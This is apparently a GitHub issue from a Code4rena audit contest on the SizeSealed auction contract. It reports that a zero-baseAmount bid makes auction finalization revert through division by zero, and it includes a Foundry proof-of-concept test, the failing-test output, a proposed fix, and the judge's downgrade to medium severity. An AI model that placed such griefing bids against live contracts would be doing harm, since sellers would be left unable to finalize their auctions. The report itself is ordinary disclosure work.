Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Sellers can't finalize their auctions by a malicious bidder #93

Closed
code423n4 opened this issue Nov 7, 2022 · 4 comments
Closed

Sellers can't finalize their auctions by a malicious bidder #93

code423n4 opened this issue Nov 7, 2022 · 4 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-332 satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L269

Vulnerability details

Impact

After the auction was created, bidders can place a bid with the custom quoteAmount and encrypted baseAmount.

When the seller tries to finalize the auction, it doesn't check if the bidder's baseAmount is greater than zero so that the finalization can be revert with the division by zero.

There is no direct fund loss but I submit as a high risk because all auctions can't be finalized by a malicious bidder.

Proof of Concept

When the seller tries to finalize the auction, it will revert here if a malicious bidder placed a bid with 0 baseAmount.

This is the test to show the scenario.

    function testAuditZeroBase() public {
        // this test will show that a malicious bidder can make this protocol useless by preventing finalization for any auctions
        uint256 aid = seller.createAuction(
            baseToSell, reserveQuotePerBase, minimumBidQuote, startTime, endTime, unlockTime, unlockEnd, cliffPercent
        );

        bidder1.setAuctionId(aid);
        bidder1.bidOnAuctionWithSalt(1 ether, 10 ether, "honest bidder");
        bidder2.setAuctionId(aid);
        bidder2.bidOnAuctionWithSalt(0 ether, 10 ether, "malicious bidder");

        vm.warp(endTime);

        uint256[] memory bidIndices = new uint[](2);
        bidIndices[0] = 0;
        bidIndices[1] = 1;

        // finalization will always fail with arithmetic exception from #L269 because of the malicious bid
        // this means an attacker can make the protocol unfunctional for any auctions
        // note that the attacker can always claim his quote tokens back after auctionEndTime + 24 hours
        seller.finalize(bidIndices, 1, 10);
    }

This is the test result.

    Failing tests:
    Encountered 1 failing test in src/test/SizeSealed.t.sol:SizeSealedTest
    [FAIL. Reason: EvmError: Revert] testAuditZeroBase() (gas: 891783)

Tools Used

Foundry

Recommended Mitigation Steps

We should skip the bidder when the baseAmount == 0 here.

    uint128 baseAmount = uint128(uint256(decryptedMessage >> 128));
    if (baseAmount == 0) continue;
@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 7, 2022
code423n4 added a commit that referenced this issue Nov 7, 2022
@trust1995
Copy link

Agree that this is a major issue, but since no funds are at risk I think Med might be more appropriate.

@c4-judge
Copy link
Contributor

c4-judge commented Nov 9, 2022

0xean marked the issue as duplicate

@c4-judge
Copy link
Contributor

c4-judge commented Dec 6, 2022

0xean marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Dec 6, 2022
@c4-judge
Copy link
Contributor

c4-judge commented Dec 6, 2022

0xean changed the severity to 2 (Med Risk)

@c4-judge c4-judge added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value downgraded by judge Judge downgraded the risk level of this issue and removed 3 (High Risk) Assets can be stolen/lost/compromised directly labels Dec 6, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working downgraded by judge Judge downgraded the risk level of this issue duplicate-332 satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

4 participants